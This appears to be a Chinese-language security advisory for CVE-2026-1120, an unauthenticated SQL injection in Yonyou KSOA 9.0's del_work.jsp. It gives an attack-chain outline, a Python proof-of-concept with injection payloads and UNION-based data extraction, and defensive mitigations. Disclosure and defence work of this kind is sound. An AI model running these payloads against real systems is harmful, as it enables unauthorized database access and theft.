IPBUF安全漏洞报告
English
CVE-2026-1120 CVSS 7.3 高危

CVE-2026-1120: 用友KSOA 9.0 del_work.jsp SQL注入漏洞

披露日期: 2026-01-18

漏洞信息

漏洞编号
CVE-2026-1120
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
用友KSOA 9.0

相关标签

SQL注入用友KSOACVE-2026-1120高危漏洞JSP注入远程代码执行无需认证数据泄露

漏洞概述

CVE-2026-1120是影响用友KSOA 9.0版本的一个高危SQL注入漏洞。该漏洞存在于/worksheet/del_work.jsp文件中,由于对HTTP GET请求中的ID参数缺乏充分的输入验证和过滤,攻击者可以通过构造恶意SQL语句实现数据库注入攻击。此漏洞允许远程未认证攻击者无需任何用户交互即可利用,成功利用可导致敏感数据泄露、数据库内容篡改,甚至可能在特定条件下实现服务器远程代码执行。由于该漏洞的利用代码已公开披露,且供应商未对此安全报告做出回应,建议受影响用户立即采取防护措施。CVSS 3.1评分7.3分,属于高危级别漏洞,对企业信息系统安全构成严重威胁。

技术细节

该SQL注入漏洞位于用友KSOA 9.0的/worksheet/del_work.jsp文件中的HTTP GET参数处理器部分。漏洞产生的根本原因是对用户提交的ID参数未进行严格的输入验证和SQL语句参数化处理。当攻击者通过URL向该JSP文件传递包含恶意SQL代码的ID参数时,未经处理的输入会直接拼接到SQL查询语句中执行。攻击者可以利用UNION SELECT、布尔盲注、时间盲注等SQL注入技术,从数据库中提取用户凭证、财务数据、业务敏感信息等。由于该接口无需认证即可访问(PR:N),且可通过网络远程触发(AV:N),攻击门槛较低。漏洞影响范围覆盖所有使用受影响版本KSOA系统的企业,需要紧急修复。

攻击链分析

STEP 1
步骤1
信息收集阶段:攻击者扫描互联网或企业内部网络,发现运行用友KSOA 9.0的Web服务器,识别出/worksheet/del_work.jsp端点
STEP 2
步骤2
漏洞探测阶段:攻击者构造包含SQL注入载荷的恶意HTTP GET请求,向del_work.jsp文件的ID参数注入SQL代码,验证漏洞存在性
STEP 3
步骤3
数据提取阶段:利用UNION注入或布尔盲注技术,从数据库中提取敏感信息,包括用户账户、密码哈希、业务数据等
STEP 4
步骤4
权限提升阶段:根据提取的数据库管理员凭证,尝试获取数据库更高权限,可能进一步获取服务器操作系统级访问权限
STEP 5
步骤5
持久化控制阶段:在成功入侵后,攻击者可能植入后门程序、建立持久化通道,以便长期控制受影响系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-1120 SQL Injection PoC for Yonyou KSOA 9.0 # Target: /worksheet/del_work.jsp # Parameter: ID import requests import sys def test_sql_injection(url): """ Test for SQL injection vulnerability in Yonyou KSOA del_work.jsp """ target_url = f"{url}/worksheet/del_work.jsp" # Normal request (baseline) normal_params = {'ID': '1'} # SQL injection test payloads payloads = [ "1' OR '1'='1", # Basic OR injection "1' UNION SELECT 1--", # UNION-based injection "1' AND 1=1--", # Boolean-based true condition "1' AND 1=2--", # Boolean-based false condition "1'; WAITFOR DELAY '0:0:5'--" # Time-based blind injection ] print(f"[*] Testing target: {target_url}") print(f"[*] Baseline request: {normal_params}") try: # Test baseline response = requests.get(target_url, params=normal_params, timeout=10) baseline_status = response.status_code print(f"[+] Baseline status code: {baseline_status}") # Test payloads for i, payload in enumerate(payloads, 1): test_params = {'ID': payload} print(f"\n[*] Test {i}/5: Testing payload: {payload}") try: response = requests.get(target_url, params=test_params, timeout=15) print(f"[+] Status code: {response.status_code}") # Check for SQL error indicators if 'sql' in response.text.lower() or 'error' in response.text.lower(): print(f"[!] Potential SQL error detected!") # Check response time for time-based injection if 'WAITFOR' in payload and response.elapsed.total_seconds() > 4: print(f"[!] Time-based injection confirmed! Response time: {response.elapsed.total_seconds()}s") except requests.exceptions.Timeout: print(f"[!] Request timeout - possible time-based injection") except Exception as e: print(f"[-] Error: {str(e)}") except Exception as e: print(f"[-] Fatal error: {str(e)}") return False return True def extract_data(url): """ Extract database information using UNION-based injection """ target_url = f"{url}/worksheet/del_work.jsp" # Database version extraction version_payload = "1' UNION SELECT @@version--" print(f"\n[*] Extracting database version...") try: response = requests.get(target_url, params={'ID': version_payload}, timeout=10) if '5.' in response.text or '8.' in response.text: print(f"[+] Database version info found in response") except: pass # User extraction user_payload = "1' UNION SELECT user()--" print(f"[*] Extracting current database user...") try: response = requests.get(target_url, params={'ID': user_payload}, timeout=10) except: pass if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2026-1120.py <target_url>") print("Example: python cve-2026-1120.py http://vulnerable-server:8080") sys.exit(1) target = sys.argv[1].rstrip('/') test_sql_injection(target)

影响范围

用友KSOA 9.0 所有版本

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)通过Web服务器配置(如Nginx、Apache的URL重写规则)临时禁用对/worksheet/del_work.jsp的访问;2)在网络层实施访问控制,仅允许受信任的IP地址访问KSOA系统;3)启用Web应用防火墙并配置SQL注入检测规则,对包含SQL关键字的请求进行阻断;4)监控Web服务器日志,关注异常的数据库查询请求模式;5)考虑部署数据库审计系统,记录所有SQL执行日志以便事后分析;6)隔离受影响系统,避免内网横向渗透风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表